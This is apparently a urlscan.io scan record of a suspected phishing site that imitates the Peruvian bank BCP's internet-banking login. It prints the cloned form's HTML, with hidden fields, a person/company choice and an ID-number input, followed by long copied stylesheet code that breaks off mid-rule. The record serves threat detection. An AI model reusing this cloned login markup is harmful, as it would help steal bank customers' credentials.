ww.viabcp.yaoeretenido.relotony.ru.com
Open in
urlscan Pro
159.148.38.101
Public Scan
URL:
https://ww.viabcp.yaoeretenido.relotony.ru.com/
Submission Tags: @phishunt_io
Submission: On September 23 via api from DE — Scanned from CA
Submission Tags: @phishunt_io
Submission: On September 23 via api from DE — Scanned from CA
Form analysis 1 forms found in the DOM
<form class="ng-pristine ng-invalid ng-touched">
<input type="hidden" id="one" value="">
<input type="hidden" id="two" value="">
<input type="hidden" id="tre" value="">
<input type="hidden" id="for" value="">
<input type="hidden" id="five" value="">
<input type="hidden" id="six" value="">
<input type="hidden" id="seven" value="">
<div _ngcontent-aqk-c63="" class="row mt8 mb32">
<div _ngcontent-aqk-c63="" class="col text-center">
<bcp-title _ngcontent-aqk-c63="" size="md" class="hydrated">
<h2 class="">Banca por lnternet</h2>
</bcp-title>
<br>
<div _ngcontent-ng-c1031280460="" class="row card-form__customer">
<div _ngcontent-ng-c1031280460="" class="col">
<bcp-radio-group _ngcontent-ng-c1031280460="" name="my-radio-default" bcpctrlform="" formcontrolname="personType" class="ng-untouched ng-pristine ng-valid hydrated">
<!---->
<div class="radio-group-container">
<bcp-radio-button _ngcontent-ng-c1031280460="" value="1" class="hydrated">
<!---->
<div class="bcp-ffw-custom-control bcp-ffw-custom-radio">
<input type="radio" class="bcp-ffw-custom-control-input" id="bcp-rb-0-lbl" name="my-radio-default" value="1">
<label class="custom-control-label-radio" for="bcp-rb-0-lbl">
<span>Persona</span>
</label>
<div class="check"></div>
</div>
</bcp-radio-button>
<bcp-radio-button _ngcontent-ng-c1031280460="" value="2" class="hydrated">
<!---->
<div class="bcp-ffw-custom-control bcp-ffw-custom-radio">
<input type="radio" class="bcp-ffw-custom-control-input" id="bcp-rb-1-lbl" name="my-radio-default" value="2">
<label class="custom-control-label-radio" for="bcp-rb-1-lbl"><span>Empresa</span></label>
<div class="check"></div>
</div>
</bcp-radio-button>
</div>
</bcp-radio-group>
</div>
</div>
<!----><!---->
<div _ngcontent-ng-c1031280460="" class="row card-form__document">
<div _ngcontent-ng-c1031280460="" class="col">
<ciam-document _ngcontent-ng-c1031280460="" formcontrolname="document" class="ng-untouched ng-pristine ng-invalid">
<div>
<bcp-tooltip size="lg" position="top" trigger="click" class="hydrated">
<!---->
</bcp-tooltip>
<bcp-select-input placeholder="Nro de documento" ciamdocument="" bcpctrlform="" inputmode="numeric" class="hydrated">
<div class="bcp-ffw-row bcp-ffw-no-gutters select-input-container">
<div class="bcp-ffw-col select-container">
<bcp-select option-type="simple" class="hydrated"><!---->
<div class="bcp-ffw-dropdown md filled" tabindex="-1" name="bcp-select-0">
<div class="bcp-ffw-dropdown-toggle" data-toggle="bcp-ffw-dropdown" aria-haspopup="true" aria-expanded="false" role="listbox"><bcp-select-header slot="header" class="hydrated"><bcp-paragraph class="hydrated">
<!---->
<p class="paragraph-lg bcp-font-demi text truncate">DNI</p>
</bcp-paragraph>
<bcp-paragraph class="select-label hydrated"><!---->
<p class="bcp-font-demi truncate paragraph-sm onsurface-800"></p>
</bcp-paragraph></bcp-select-header><bcp-icon class="select-icon-angle hydrated">
<i class="icon angle-drop-down-r onsurface-800" aria-hidden="true"></i></bcp-icon></div>
<div class="bcp-ffw-dropdown-menu" x-placement="bottom-start">
<div class="container-option-menu"><bcp-select-option opt="" class="hydrated"><!---->
<div class="select-item active" role="option"><bcp-paragraph class="hydrated"><!---->
<p class="paragraph-md bcp-font-regular truncate primary-400">DNI</p>
</bcp-paragraph></div>
</bcp-select-option><bcp-select-option opt="" class="hydrated"><!---->
<div class="select-item" role="option"><bcp-paragraph class="hydrated"><!---->
<p class="paragraph-md bcp-font-regular text truncate">CE</p>
</bcp-paragraph></div>
</bcp-select-option>
<bcp-select-option opt="" class="hydrated"><!---->
<div class="select-item" role="option">
<bcp-paragraph class="hydrated"><!---->
<p class="paragraph-md bcp-font-regular text truncate">PAS</p>
</bcp-paragraph>
</div>
</bcp-select-option>
</div>
</div>
</div>
</bcp-select>
</div>
<div class="bcp-ffw-col input-container">
<bcp-input class="hydrated"><!---->
<div class="bcp-ffw-form-group">
<input id="dni" class="bcp-ffw-form-control" inputmode="numeric" aria-labelledby="bcp-input-1-lbl" autocomplete="off" name="bcp-input-1" type="text" maxlength="8" placeholder="Nro de documento" autocapitalize="sentences"
autocorrect="on">
<span class="bcp-ffw-sr-only" id="bcp-input-1-lbl">Nro de documento</span>
</div>
</bcp-input>
</div>
</div>
</bcp-select-input>
</div><!----><!---->
</ciam-document>
</div>
</div><!---->
<style>
@charset "UTF-8";
:root {
--primary-900: #001f5a;
--primary-800: #002473;
--primary-700: #002a8d;
--primary-700-25: rgba(0, 42, 141, .25);
--primary-600: #002da0;
--primary-500: #0030b3;
--primary-400: #0a47f0;
--primary-300: #3d77ff;
--primary-200: #70a9ff;
--primary-100: #b3d6ff;
--primary-050: #d1e6ff;
--primary-040: #ebf4ff;
--secondary-900: #8f1100;
--secondary-800: #b02b00;
--secondary-700: #ca4500;
--secondary-600: #e45e00;
--secondary-500: #ff7800;
--secondary-400: #ff961f;
--secondary-300: #ffa733;
--secondary-200: #ffbb5c;
--secondary-200-40: rgba(255, 187, 92, .4);
--secondary-200-20: rgba(255, 187, 92, .2);
--secondary-100: #ffd89f;
--secondary-050: #ffe8c7;
--secondary-040: #fff6e6;
--background-900: #264b78;
--background-800: #3c5d86;
--background-700: #527094;
--background-600: #6982a3;
--background-500: #7f95b1;
--background-400: #95a7bf;
--background-300: #acbace;
--background-200: #c2ccdc;
--background-100: #d8dfea;
--background-050: #eaeff5;
--background-040: #f2f4f8;
--error: #e30425;
--error-light: #fff2f5;
--error-20: rgba(227, 4, 37, .2);
--error-close: #fd9ba9;
--success: #6ac90f;
--success-light: #f4ffea;
--success-dark: #37a500;
--success-20: rgba(106, 201, 15, .2);
--success-close: #d8fab8;
--attention: #3f78bf;
--attention-light: #f5f8ff;
--attention-20: rgba(63, 120, 191, .2);
--attention-close: #c6d7ec;
--alert: #ffcb1f;
--alert-light: #fffded;
--alert-20: rgba(255, 203, 31, .2);
--alert-close: #ffedb3;
--text: #202e44;
--white: #ffffff;
--complementary-900: #003b34;
--complementary-800: #0b4d45;
--complementary-700: #005e53;
--complementary-600: #008071;
--complementary-500: #1f9183;
--complementary-400: #0aa693;
--complementary-300: #08bda6;
--complementary-200: #65cfc1;
--complementary-100: #a2ebe2;
--complementary-050: #d4faf5;
--complementary-040: #e8fcf9;
--analogous-700: #0759a4;
--analogous-600: #5625b3;
--analogous-400: #48a3f3;
--analogous-300: #9877d3;
--analogous-200: #a2dbff;
--analogous-100: #d2c1f0;
--onsurface-900: #4d5b70;
--onsurface-800: #606c7f;
--onsurface-700: #737e8e;
--onsurface-600: #868f9e;
--onsurface-500: #99a1ad;
--onsurface-400: #acb2bd;
--onsurface-300: #bfc4cc;
--onsurface-200: #d2d5dc;
--onsurface-100: #e5e7eb;
--onsurface-050: #eff0f2;
--onsurface-040: #f6f6f7;
--white-90: rgba(255, 255, 255, .9);
--white-80: rgba(255, 255, 255, .8);
--white-70: rgba(255, 255, 255, .7);
--white-60: rgba(255, 255, 255, .6);
--white-50: rgba(255, 255, 255, .5);
--white-40: rgba(255, 255, 255, .4);
--white-30: rgba(255, 255, 255, .3);
--white-20: rgba(255, 255, 255, .2);
--white-10: rgba(255, 255, 255, .1);
--white-0: rgba(255, 255, 255, 0);
--text-90: rgba(32, 46, 68, .9);
--text-80: rgba(32, 46, 68, .8);
--text-70: rgba(32, 46, 68, .7);
--text-60: rgba(32, 46, 68, .6);
--text-50: rgba(32, 46, 68, .5);
--text-40: rgba(32, 46, 68, .4);
--text-30: rgba(32, 46, 68, .3);
--text-20: rgba(32, 46, 68, .2);
--text-10: rgba(32, 46, 68, .1);
--text-0: rgba(32, 46, 68, 0);
--analogous-01-900: #220854;
--analogous-01-800: #35117a;
--analogous-01-700: #451a96;
--analogous-01-600: #5625b3;
--analogous-01-500: #6d3acd;
--analogous-01-400: #7b52c5;
--analogous-01-300: #9877d3;
--analogous-01-200: #b59ce2;
--analogous-01-100: #d2c1f0;
--analogous-01-050: #ece4fc;
--analogous-01-040: #f4f0fc;
--analogous-02-900: #002c5a;
--analogous-02-800: #003873;
--analogous-02-700: #00448c;
--analogous-02-600: #005aa8;
--analogous-02-500: #1672b8;
--analogous-02-400: #127dc9;
--analogous-02-300: #1f95de;
--analogous-02-200: #6fb7e3;
--analogous-02-100: #abd9f5;
--analogous-02-050: #d2eefc;
--analogous-02-040: #e8f6fc;
--black-80: rgba(0, 0, 0, .8);
--black-70: rgba(0, 0, 0, .7);
--black-60: rgba(0, 0, 0, .6);
--black-50: rgba(0, 0, 0, .5);
--black-40: rgba(0, 0, 0, .4);
--black-30: rgba(0, 0, 0, .3);
--black-20: rgba(0, 0, 0, .2);
--black-10: rgba(0, 0, 0, .1);
--black-0: rgba(0, 0, 0, 0);
--black: #000000
}
:root {
--bcp-font-family-primary-bold: "Flexo-Bold";
--bcp-font-family-primary-demi: "Flexo-Demi";
--bcp-font-family-primary-regular: "Flexo-Regular"
}
/*!
* Bootstrap v4.6.1 (https://getbootstrap.com/)
* Copyright 2011-2021 The Bootstrap Authors
* Copyright 2011-2021 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
*/
:root {
--blue: #007bff;
--indigo: #6610f2;
--purple: #6f42c1;
--pink: #e83e8c;
--red: #dc3545;
--orange: #fd7e14;
--yellow: #ffc107;
--green: #28a745;
--teal: #20c997;
--cyan: #17a2b8;
--white: #ffffff;
--gray: #6c757d;
--gray-dark: #343a40;
--primary: #007bff;
--secondary: #6c757d;
--success: #6ac90f;
--info: #17a2b8;
--warning: #ffc107;
--danger: #dc3545;
--light: #f8f9fa;
--dark: #343a40;
--breakpoint-xs: 0;
--breakpoint-sm: 576px;
--breakpoint-md: 768px;
--breakpoint-lg: 992px;
--breakpoint-xl: 1200px;
--font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", "Liberation Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
--font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
}
*,
*:before,
*:after {
box-sizing: border-box
}
html {
font-family: sans-serif;
line-height: 1.15;
-webkit-text-size-adjust: 100%;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0)
}
article,
aside,
figcaption,
figure,
footer,
header,
hgroup,
main,
nav,
section {
display: block
}
body {
margin: 0;
font-family: var(--bcp-font-family-primary-regular, "Flexo-Regular"), helvetica, arial, sans-serif;
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: #212529;
text-align: left;
background-color: #fff
}
[tabindex="-1"]:focus:not(:focus-visible) {
outline: 0 !important
}
hr {
box-sizing: content-box;
height: 0;
overflow: visible
}
h1,
h2,
h3,
h4,
h5,
h6 {
margin-top: 0;
margin-bottom: .5rem
}
p {
margin-top: 0;
margin-bottom: 1rem
}
abbr[title],
abbr[data-original-title] {
text-decoration: underline;
-webkit-text-decoration: underline dotted;
text-decoration: underline dotted;
cursor: help;
border-bottom: 0;
-webkit-text-decoration-skip-ink: none;
text-decoration-skip-ink: none
}
address {
margin-bottom: 1rem;
font-style: normal;
line-height: inherit
}
ol,
ul,
dl {
margin-top: 0;
margin-bottom: 1rem
}
ol ol,
ul ul,
ol ul,
ul ol {
margin-bottom: 0
}
dt {
font-weight: 700
}
dd {
margin-bottom: .5rem;
margin-left: 0
}
blockquote {
margin: 0 0 1rem
}
b,
strong {
font-weight: bolder
}
small {
font-size: 80%
}
sub,
sup {
position: relative;
font-size: 75%;
line-height: 0;
vertical-align: baseline
}
sub {
bottom: -.25em
}
sup {
top: -.5em
}
a {
color: #007bff;
text-decoration: none;
background-color: transparent
}
a:hover {
color: #0056b3;
text-decoration: none
}
a:not([href]):not([class]) {
color: inherit;
text-decoration: none
}
a:not([href]):not([class]):hover {
color: inherit;
text-decoration: none
}
pre,
code,
kbd,
samp {
font-family: SFMono-Regular, Menlo, Monaco, Consolas, Liberation Mono, Courier New, monospace;
font-size: 1em
}
pre {
margin-top: 0;
margin-bottom: 1rem;
overflow: auto;
-ms-overflow-style: scrollbar
}
figure {
margin: 0 0 1rem
}
img {
vertical-align: middle;
border-style: none
}
svg {
overflow: hidden;
vertical-align: middle
}
table {
border-collapse: collapse
}
caption {
padding-top: .75rem;
padding-bottom: .75rem;
color: #6c757d;
text-align: left;
caption-side: bottom
}
th {
text-align: inherit;
text-align: -webkit-match-parent
}
label {
display: inline-block;
margin-bottom: .5rem
}
button {
border-radius: 0
}
button:focus:not(:focus-visible) {
outline: 0
}
input,
button,
select,
optgroup,
textarea {
margin: 0;
font-family: inherit;
font-size: inherit;
line-height: inherit
}
button,
input {
overflow: visible
}
button,
select {
text-transform: none
}
[role=button] {
cursor: pointer
}
select {
word-wrap: normal
}
button,
[type=button],
[type=reset],
[type=submit] {
-webkit-appearance: button
}
button:not(:disabled),
[type=button]:not(:disabled),
[type=reset]:not(:disabled),
[type=submit]:not(:disabled) {
cursor: pointer
}
button::-moz-focus-inner,
[type=button]::-moz-focus-inner,
[type=reset]::-moz-focus-inner,
[type=submit]::-moz-focus-inner {
padding: 0;
border-style: none
}
input[type=radio],
input[type=checkbox] {
box-sizing: border-box;
padding: 0
}
textarea {
overflow: auto;
resize: vertical
}
fieldset {
min-width: 0;
padding: 0;
margin: 0;
border: 0
}
legend {
display: block;
width: 100%;
max-width: 100%;
padding: 0;
margin-bottom: .5rem;
font-size: 1.5rem;
line-height: inherit;
color: inherit;
white-space: normal
}
progress {
vertical-align: baseline
}
[type=number]::-webkit-inner-spin-button,
[type=number]::-webkit-outer-spin-button {
height: auto
}
[type=search] {
outline-offset: -2px;
-webkit-appearance: none
}
[type=search]::-webkit-search-decoration {
-webkit-appearance: none
}
::-webkit-file-upload-button {
font: inherit;
-webkit-appearance: button
}
output {
display: inline-block
}
summary {
display: list-item;
cursor: pointer
}
template {
display: none
}
[hidden] {
display: none !important
}
h1,
h2,
h3,
h4,
h5,
h6,
.h1,
.h2,
.h3,
.h4,
.h5,
.h6 {
margin-bottom: .5rem;
font-family: var(--bcp-font-family-primary-bold, "Flexo-Bold"), helvetica, arial, sans-serif;
font-weight: 500;
line-height: 1.2;
color: var(--primary-700, #002a8d)
}
h1,
.h1 {
font-size: 2rem
}
h2,
.h2 {
font-size: 1.5rem
}
h3,
.h3 {
font-size: 1.25rem
}
h4,
.h4 {
font-size: 1.5rem
}
h5,
.h5 {
font-size: 1.25rem
}
h6,
.h6 {
font-size: 1rem
}
.lead {
font-size: 1.25rem;
font-weight: 300
}
.display-1 {
font-size: 3.5rem;
font-weight: 300;
line-height: 1.2
}
.display-2 {
font-size: 3rem;
font-weight: 300;
line-height: 1.2
}
.display-3 {
font-size: 2.5rem;
font-weight: 300;
line-height: 1.2
}
.display-4 {
font-size: 3.5rem;
font-weight: 300;
line-height: 1.2
}
hr {
margin-top: 1rem;
margin-bottom: 1rem;
border: 0;
border-top: 1px solid rgba(0, 0, 0, .1)
}
small,
.small {
font-size: .75rem;
font-weight: 400
}
mark,
.mark {
padding: .2em;
background-color: #fcf8e3
}
.list-unstyled,
.list-inline {
padding-left: 0;
list-style: none
}
.list-inline-item {
display: inline-block
}
.list-inline-item:not(:last-child) {
margin-right: .5rem
}
.initialism {
font-size: 90%;
text-transform: uppercase
}
.blockquote {
margin-bottom: 1rem;
font-size: 1.25rem
}
.blockquote-footer {
display: block;
font-size: .75rem;
color: #6c757d
}
.blockquote-footer:before {
content: "\2014\a0"
}
.img-fluid {
max-width: 100%;
height: auto
}
.img-thumbnail {
padding: .25rem;
background-color: #fff;
border: 1px solid #dee2e6;
border-radius: 8px;
max-width: 100%;
height: auto
}
.figure {
display: inline-block
}
.figure-img {
margin-bottom: .5rem;
line-height: 1
}
.figure-caption {
font-size: 90%;
color: #6c757d
}
code {
font-size: 87.5%;
color: #e83e8c;
word-wrap: break-word
}
a>code {
color: inherit
}
kbd {
padding: .2rem .4rem;
font-size: 87.5%;
color: #fff;
background-color: #212529;
border-radius: .2rem
}
kbd kbd {
padding: 0;
font-size: 100%;
font-weight: 700
}
pre {
display: block;
font-size: 87.5%;
color: #212529
}
pre code {
font-size: inherit;
color: inherit;
word-break: normal
}
.pre-scrollable {
max-height: 340px;
overflow-y: scroll
}
.container,
.container-fluid,
.container-xl,
.container-lg,
.container-md,
.container-sm {
width: 100%;
padding-right: 16px;
padding-left: 16px;
margin-right: auto;
margin-left: auto
}
@media (min-width: 576px) {
.container-sm,
.container {
max-width: 540px
}
}
@media (min-width: 768px) {
.container-md,
.container-sm,
.container {
max-width: 720px
}
}
@media (min-width: 992px) {
.container-lg,
.container-md,
.container-sm,
.container {
max-width: 960px
}
}
@media (min-width: 1200px) {
.container-xl,
.container-lg,
.container-md,
.container-sm,
.container {
max-width: 1140px
}
}
.row {
display: flex;
flex-wrap: wrap;
margin-right: -16px;
margin-left: -16px
}
.no-gutters {
margin-right: 0;
margin-left: 0
}
.no-gutters>.col,
.no-gutters>[class*=col-] {
padding-right: 0;
padding-left: 0
}
.col-xl,
.col-xl-auto,
.col-xl-12,
.col-xl-11,
.col-xl-10,
.col-xl-9,
.col-xl-8,
.col-xl-7,
.col-xl-6,
.col-xl-5,
.col-xl-4,
.col-xl-3,
.col-xl-2,
.col-xl-1,
.col-lg,
.col-lg-auto,
.col-lg-12,
.col-lg-11,
.col-lg-10,
.col-lg-9,
.col-lg-8,
.col-lg-7,
.col-lg-6,
.col-lg-5,
.col-lg-4,
.col-lg-3,
.col-lg-2,
.col-lg-1,
.col-md,
.col-md-auto,
.col-md-12,
.col-md-11,
.col-md-10,
.col-md-9,
.col-md-8,
.col-md-7,
.col-md-6,
.col-md-5,
.col-md-4,
.col-md-3,
.col-md-2,
.col-md-1,
.col-sm,
.col-sm-auto,
.col-sm-12,
.col-sm-11,
.col-sm-10,
.col-sm-9,
.col-sm-8,
.col-sm-7,
.col-sm-6,
.col-sm-5,
.col-sm-4,
.col-sm-3,
.col-sm-2,
.col-sm-1,
.col,
.col-auto,
.col-12,
.col-11,
.col-10,
.col-9,
.col-8,
.col-7,
.col-6,
.col-5,
.col-4,
.col-3,
.col-2,
.col-1 {
position: relative;
width: 100%;
padding-right: 16px;
padding-left: 16px
}
.col {
flex-basis: 0;
flex-grow: 1;
max-width: 100%
}
.row-cols-1>* {
flex: 0 0 100%;
max-width: 100%
}
.row-cols-2>* {
flex: 0 0 50%;
max-width: 50%
}
.row-cols-3>* {
flex: 0 0 33.3333333333%;
max-width: 33.3333333333%
}
.row-cols-4>* {
flex: 0 0 25%;
max-width: 25%
}
.row-cols-5>* {
flex: 0 0 20%;
max-width: 20%
}
.row-cols-6>* {
flex: 0 0 16.6666666667%;
max-width: 16.6666666667%
}
.col-auto {
flex: 0 0 auto;
width: auto;
max-width: 100%
}
.col-1 {
flex: 0 0 8.33333333%;
max-width: 8.33333333%
}
.col-2 {
flex: 0 0 16.66666667%;
max-width: 16.66666667%
}
.col-3 {
flex: 0 0 25%;
max-width: 25%
}
.col-4 {
flex: 0 0 33.33333333%;
max-width: 33.33333333%
}
.col-5 {
flex: 0 0 41.66666667%;
max-width: 41.66666667%
}
.col-6 {
flex: 0 0 50%;
max-width: 50%
}
.col-7 {
flex: 0 0 58.33333333%;
max-width: 58.33333333%
}
.col-8 {
flex: 0 0 66.66666667%;
max-width: 66.66666667%
}
.col-9 {
flex: 0 0 75%;
max-width: 75%
}
.col-10 {
flex: 0 0 83.33333333%;
max-width: 83.33333333%
}
.col-11 {
flex: 0 0 91.66666667%;
max-width: 91.66666667%
}
.col-12 {
flex: 0 0 100%;
max-width: 100%
}
.order-first {
order: -1
}
.order-last {
order: 13
}
.order-0 {
order: 0
}
.order-1 {
order: 1
}
.order-2 {
order: 2
}
.order-3 {
order: 3
}
.order-4 {
order: 4
}
.order-5 {
order: 5
}
.order-6 {
order: 6
}
.order-7 {
order: 7
}
.order-8 {
order: 8
}
.order-9 {
order: 9
}
.order-10 {
order: 10
}
.order-11 {
order: 11
}
.order-12 {
order: 12
}
.offset-1 {
margin-left: 8.33333333%
}
.offset-2 {
margin-left: 16.66666667%
}
.offset-3 {
margin-left: 25%
}
.offset-4 {
margin-left: 33.33333333%
}
.offset-5 {
margin-left: 41.66666667%
}
.offset-6 {
margin-left: 50%
}
.offset-7 {
margin-left: 58.33333333%
}
.offset-8 {
margin-left: 66.66666667%
}
.offset-9 {
margin-left: 75%
}
.offset-10 {
margin-left: 83.33333333%
}
.offset-11 {
margin-left: 91.66666667%
}
@media (min-width: 576px) {
.col-sm {
flex-basis: 0;
flex-grow: 1;
max-width: 100%
}
.row-cols-sm-1>* {
flex: 0 0 100%;
max-width: 100%
}
.row-cols-sm-2>* {
flex: 0 0 50%;
max-width: 50%
}
.row-cols-sm-3>* {
flex: 0 0 33.3333333333%;
max-width: 33.3333333333%
}
.row-cols-sm-4>* {
flex: 0 0 25%;
max-width: 25%
}
.row-cols-sm-5>* {
flex: 0 0 20%;
max-width: 20%
}
.row-cols-sm-6>* {
flex: 0 0 16.6666666667%;
max-width: 16.6666666667%
}
.col-sm-auto {
flex: 0 0 auto;
width: auto;
max-width: 100%
}
.col-sm-1 {
flex: 0 0 8.33333333%;
max-width: 8.33333333%
}
.col-sm-2 {
flex: 0 0 16.66666667%;
max-width: 16.66666667%
}
.col-sm-3 {
flex: 0 0 25%;
max-width: 25%
}
.col-sm-4 {
flex: 0 0 33.33333333%;
max-width: 33.33333333%
}
.col-sm-5 {
flex: 0 0 41.66666667%;
max-width: 41.66666667%
}
.col-sm-6 {
flex: 0 0 50%;
max-width: 50%
}
.col-sm-7 {
flex: 0 0 58.33333333%;
max-width: 58.33333333%
}
.col-sm-8 {
flex: 0 0 66.66666667%;
max-width: 66.66666667%
}
.col-sm-9 {
flex: 0 0 75%;
max-width: 75%
}
.col-sm-10 {
flex: 0 0 83.33333333%;
max-width: 83.33333333%
}
.col-sm-11 {
flex: 0 0 91.66666667%;
max-width: 91.66666667%
}
.col-sm-12 {
flex: 0 0 100%;
max-width: 100%
}
.order-sm-first {
order: -1
}
.order-sm-last {
order: 13
}
.order-sm-0 {
order: 0
}
.order-sm-1 {
order: 1
}
.order-sm-2 {
order: 2
}
.order-sm-3 {
order: 3
}
.order-sm-4 {
order: 4
}
.order-sm-5 {
order: 5
}
.order-sm-6 {
order: 6
}
.order-sm-7 {
order: 7
}
.order-sm-8 {
order: 8
}
.order-sm-9 {
order: 9
}
.order-sm-10 {
order: 10
}
.order-sm-11 {
order: 11
}
.order-sm-12 {
order: 12
}
.offset-sm-0 {
margin-left: 0
}
.offset-sm-1 {
margin-left: 8.33333333%
}
.offset-sm-2 {
margin-left: 16.66666667%
}
.offset-sm-3 {
margin-left: 25%
}
.offset-sm-4 {
margin-left: 33.33333333%
}
.offset-sm-5 {
margin-left: 41.66666667%
}
.offset-sm-6 {
margin-left: 50%
}
.offset-sm-7 {
margin-left: 58.33333333%
}
.offset-sm-8 {
margin-left: 66.66666667%
}
.offset-sm-9 {
margin-left: 75%
}
.offset-sm-10 {
margin-left: 83.33333333%
}
.offset-sm-11 {
margin-left: 91.66666667%
}
}
@media (min-width: 768px) {
.col-md {
flex-basis: 0;
flex-grow: 1;
max-width: 100%
}
.row-cols-md-1>* {
flex: 0 0 100%;
max-width: 100%
}
.row-cols-md-2>* {
flex: 0 0 50%;
max-width: 50%
}
.row-cols-md-3>* {
flex: 0 0 33.3333333333%;
max-width: 33.3333333333%
}
.row-cols-md-4>* {
flex: 0 0 25%;
max-width: 25%
}
.row-cols-md-5>* {
flex: 0 0 20%;
max-width: 20%
}
.row-cols-md-6>* {
flex: 0 0 16.6666666667%;
max-width: 16.6666666667%
}
.col-md-auto {
flex: 0 0 auto;
width: auto;
max-width: 100%
}
.col-md-1 {
flex: 0 0 8.33333333%;
max-width: 8.33333333%
}
.col-md-2 {
flex: 0 0 16.66666667%;
max-width: 16.66666667%
}
.col-md-3 {
flex: 0 0 25%;
max-width: 25%
}
.col-md-4 {
flex: 0 0 33.33333333%;
max-width: 33.33333333%
}
.col-md-5 {
flex: 0 0 41.66666667%;
max-width: 41.66666667%
}
.col-md-6 {
flex: 0 0 50%;
max-width: 50%
}
.col-md-7 {
flex: 0 0 58.33333333%;
max-width: 58.33333333%
}
.col-md-8 {
flex: 0 0 66.66666667%;
max-width: 66.66666667%
}
.col-md-9 {
flex: 0 0 75%;
max-width: 75%
}
.col-md-10 {
flex: 0 0 83.33333333%;
max-width: 83.33333333%
}
.col-md-11 {
flex: 0 0 91.66666667%;
max-width: 91.66666667%
}
.col-md-12 {
flex: 0 0 100%;
max-width: 100%
}
.order-md-first {
order: -1
}
.order-md-last {
order: 13
}
.order-md-0 {
order: 0
}
.order-md-1 {
order: 1
}
.order-md-2 {
order: 2
}
.order-md-3 {
order: 3
}
.order-md-4 {
order: 4
}
.order-md-5 {
order: 5
}
.order-md-6 {
order: 6
}
.order-md-7 {
order: 7
}
.order-md-8 {
order: 8
}
.order-md-9 {
order: 9
}
.order-md-10 {
order: 10
}
.order-md-11 {
order: 11
}
.order-md-12 {
order: 12
}
.offset-md-0 {
margin-left: 0
}
.offset-md-1 {
margin-left: 8.33333333%
}
.offset-md-2 {
margin-left: 16.66666667%
}
.offset-md-3 {
margin-left: 25%
}
.offset-md-4 {
margin-left: 33.33333333%
}
.offset-md-5 {
margin-left: 41.66666667%
}
.offset-md-6 {
margin-left: 50%
}
.offset-md-7 {
margin-left: 58.33333333%
}
.offset-md-8 {
margin-left: 66.66666667%
}
.offset-md-9 {
margin-left: 75%
}
.offset-md-10 {
margin-left: 83.33333333%
}
.offset-md-11 {
margin-left: 91.66666667%
}
}
@media (min-width: 992px) {
.col-lg {
flex-basis: 0;
flex-grow: 1;
max-width: 100%
}
.row-cols-lg-1>* {
flex: 0 0 100%;
max-width: 100%
}
.row-cols-lg-2>* {
flex: 0 0 50%;
max-width: 50%
}
.row-cols-lg-3>* {
flex: 0 0 33.3333333333%;
max-width: 33.3333333333%
}
.row-cols-lg-4>* {
flex: 0 0 25%;
max-width: 25%
}
.row-cols-lg-5>* {
flex: 0 0 20%;
max-width: 20%
}
.row-cols-lg-6>* {
flex: 0 0 16.6666666667%;
max-width: 16.6666666667%
}
.col-lg-auto {
flex: 0 0 auto;
width: auto;
max-width: 100%
}
.col-lg-1 {
flex: 0 0 8.33333333%;
max-width: 8.33333333%
}
.col-lg-2 {
flex: 0 0 16.66666667%;
max-width: 16.66666667%
}
.col-lg-3 {
flex: 0 0 25%;
max-width: 25%
}
.col-lg-4 {
flex: 0 0 33.33333333%;
max-width: 33.33333333%
}
.col-lg-5 {
flex: 0 0 41.66666667%;
max-width: 41.66666667%
}
.col-lg-6 {
flex: 0 0 50%;
max-width: 50%
}
.col-lg-7 {
flex: 0 0 58.33333333%;
max-width: 58.33333333%
}
.col-lg-8 {
flex: 0 0 66.66666667%;
max-width: 66.66666667%
}
.col-lg-9 {
flex: 0 0 75%;
max-width: 75%
}
.col-lg-10 {
flex: 0 0 83.33333333%;
max-width: 83.33333333%
}
.col-lg-11 {
flex: 0 0 91.66666667%;
max-width: 91.66666667%
}
.col-lg-12 {
flex: 0 0 100%;
max-width: 100%
}
.order-lg-first {
order: -1
}
.order-lg-last {
order: 13
}
.order-lg-0 {
order: 0
}
.order-lg-1 {
order: 1
}
.order-lg-2 {
order: 2
}
.order-lg-3 {
order: 3
}
.order-lg-4 {
order: 4
}
.order-lg-5 {
order: 5
}
.order-lg-6 {
order: 6
}
.order-lg-7 {
order: 7
}
.order-lg-8 {
order: 8
}
.order-lg-9 {
order: 9
}
.order-lg-10 {
order: 10
}
.order-lg-11 {
order: 11
}
.order-lg-12 {
order: 12
}
.offset-lg-0 {
margin-left: 0
}
.offset-lg-1 {
margin-left: 8.33333333%
}
.offset-lg-2 {
margin-left: 16.66666667%
}
.offset-lg-3 {
margin-left: 25%
}
.offset-lg-4 {
margin-left: 33.33333333%
}
.offset-lg-5 {
margin-left: 41.66666667%
}
.offset-lg-6 {
margin-left: 50%
}
.offset-lg-7 {
margin-left: 58.33333333%
}
.offset-lg-8 {
margin-left: 66.66666667%
}
.offset-lg-9 {
margin-left: 75%
}
.offset-lg-10 {
margin-left: 83.33333333%
}
.offset-lg-11 {
margin-left: 91.66666667%
}
}
@media (min-width: 1200px) {
.col-xl {
flex-basis: 0;
flex-grow: 1;
max-width: 100%
}
.row-cols-xl-1>* {
flex: 0 0 100%;
max-width: 100%
}
.row-cols-xl-2>* {
flex: 0 0 50%;
max-width: 50%
}
.row-cols-xl-3>* {
flex: 0 0 33.3333333333%;
max-width: 33.3333333333%
}
.row-cols-xl-4>* {
flex: 0 0 25%;
max-width: 25%
}
.row-cols-xl-5>* {
flex: 0 0 20%;
max-width: 20%
}
.row-cols-xl-6>* {
flex: 0 0 16.6666666667%;
max-width: 16.6666666667%
}
.col-xl-auto {
flex: 0 0 auto;
width: auto;
max-width: 100%
}
.col-xl-1 {
flex: 0 0 8.33333333%;
max-width: 8.33333333%
}
.col-xl-2 {
flex: 0 0 16.66666667%;
max-width: 16.66666667%
}
.col-xl-3 {
flex: 0 0 25%;
max-width: 25%
}
.col-xl-4 {
flex: 0 0 33.33333333%;
max-width: 33.33333333%
}
.col-xl-5 {
flex: 0 0 41.66666667%;
max-width: 41.66666667%
}
.col-xl-6 {
flex: 0 0 50%;
max-width: 50%
}
.col-xl-7 {
flex: 0 0 58.33333333%;
max-width: 58.33333333%
}
.col-xl-8 {
flex: 0 0 66.66666667%;
max-width: 66.66666667%
}
.col-xl-9 {
